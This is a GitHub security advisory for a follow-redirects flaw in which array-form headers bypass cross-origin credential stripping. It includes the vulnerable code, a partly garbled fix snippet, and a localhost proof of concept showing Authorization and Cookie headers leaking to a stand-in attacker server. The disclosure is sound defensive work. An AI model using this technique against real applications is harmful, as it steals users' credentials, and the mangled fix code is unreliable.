GitHub Advisoryadvisory · npm

GHSA-q3jh-wrc6-jgq8 follow-redirects array-form headers bypass cross-origin credential stripping

HIGH Published 2026-10-20 Modified 2026-10-20 Official page ↗
Aliases
CVE-2026-111756
Ecosystem
npm
Packages
follow-redirects
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-200, CWE-212
Reviewed
2026-10-20

Affected packages

• npm follow-redirects: >= 1.16.0, < 1.16.1 → fixed in 1.16.1

Description

Summary follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `"0"`, `"1"`, `"2"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect. Details The cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`: ```js function removeMatchingHeaders(regex, headers) { var lastValue; for (var header in headers) { // for...in over an ARRAY yields "0","1","2"... if (regex.test(header)) { // the header-name filter never matches a numeric index lastValue = headers[header]; delete headers[header]; } } return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim(); } ``` It is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`: • `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol. • `index.js:470` - strip the `Host` header (`/^host$/i`). • `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET. The caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched. Node's `http.request` accepts `options.headers` as an alternating array of names and values (for example `["Authorization", "Bearer ...", "Cookie", "session=..."]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `"0"`, `"1"`, `"2"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops: • The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target. • Any `sensitiveHeaders` the caller declared are forwarded too. • The stale `Host` of the previous origin is re-sent to the new origin. • On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body. The primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause. Root-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0. Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs: ```js function removeMatchingHeaders(regex, headers) { if (Array.isArray(headers)) { var lastValue; for (var i = 0; i r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});' ``` Observed: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered). Minimal form (built-in credential list), `arrayleak.js`: ```js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // cross-origin (different port) res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); // attacker-controlled target }); redirector.listen(47301, "127.0.0.1", function () { collector.listen(47302, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 47301, path: "/", method: "GET", headers: [ "Host", "127.0.0.1:47301", "Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN", "Cookie", "session=ARRAY-FORM-SESSION-ID", "X-Custom", "harmless" ] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization :", h.authorization || "(stripped - OK)"); console.log("Cookie :", h.cookie || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); ``` Observed output (1.16.0 and 1.15.11): ``` Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- credential LEAKED cross-origin Cookie : session=ARRAY-FORM-SESSION-ID <- credential LEAKED cross-origin ``` Control: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, proving the …

Related

Alias · CVE (1)

  • CVE-2026-111756 follow-redirects is a Node.js HTTP and HTTPS client wrapper that automatically follows redirects. vulnerability

Weakness · CWE (2)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-212 Improper Removal of Sensitive Information Before Storage or Transfer weakness

References